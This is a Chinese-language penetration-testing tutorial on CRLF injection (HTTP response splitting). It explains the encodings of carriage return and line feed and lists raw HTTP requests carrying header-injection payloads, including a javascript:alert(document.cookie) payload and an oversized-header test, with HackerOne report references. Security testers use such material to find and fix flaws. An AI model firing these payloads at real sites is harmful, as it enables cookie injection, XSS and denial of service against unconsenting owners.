前言
本文主要讲的是如何测试CRLF以及相关tips,在具体讲解之前,先简单概述一下何为CRLF:
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
预备知识
\r\n
所对应的 url Encode为: %0d%0a
=============>ascii码为0x0D0x0A
=============>utf-8为: %E5%98%8A = %0A = \u560a ,%E5%98%8D = %0D = \u560d
%20
对应空格,%3b
对应;
, %3F
对应?
, %23
对应#
。
正文
- 在header中尝试注入回车换行符,例如
\r\n
,例如Set-Cookies:%20Me
GET /Header?Parameter=\r\nKey:%20V HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Accept: text/html Origin: https://www.company.com
- 在header中尝试注入回车换行符,例如
%0D%0A
,例如Set-Cookies:%20Me
GET /Header?Parameter=%0D%0AKey:%20V HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Accept: text/html Origin: https://www.company.com
- 在header中尝试注入回车或者换行符,例如
%0D 或者 %0A
,例如Set-Cookies:%20Me
GET /Header?Parameter=%0DKey:%20V HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Accept: text/html Origin: https://www.company.com
- 尝试注入回车换行符的ASCII符号,例如
0x0D0x0A
,例如Set-Cookies:%20Me
GET /Header? Parameter=0x0D0x0AKey:%20V HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Accept: text/html Origin: https://www.company.com
- 尝试注入回车换行符的utf-8,例如
%E5%98%8A%E5%98%8D
,例如Set-Cookies:%20Me
GET /Header? Parameter=%E5%98%8A%E5%98%8DKey:%20V HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Accept: text/html Origin: https://www.company.com
- 尝试注入回车换行符的Unicode,例如
\u560d\u560a
,例如Set-Cookies:%20Me
GET /Header? Parameter=\u560d\u560aKey:%20V HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Accept: text/html Origin: https://www.company.com
- 尝试在Header中注入大量字符串,例如
+++++++ 7000 bytes +++++++
,例如Set-Cookies:%20Me
GET /Header? Parameter=+++++ 7000 bytes +++++Key:%20V HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Accept: text/html Origin: https://www.company.com
- 尝试注入编过码的回车或者换行,例如:
%3F%0D , %23%0D , %3F%0A 或者 %23%0A
GET /Path%3F%0DKey:%20V HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Accept: text/html Origin: https://www.company.com
- 尝试注入
/x:1/:///%01javascript:alert(document.cookie)/
GET //x:1/:///%01javascript:alert(document.cookie)/ HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Accept: text/html Origin: https://www.company.com
参考
https://hackerone.com/reports/335599
https://hackerone.com/reports/446271
https://hackerone.com/reports/52042
https://hackerone.com/reports/53843
https://hackerone.com/reports/154400
https://ronak-9889.medium.com/denial-of-service-using-cookie-bombing-55c2d0ef808c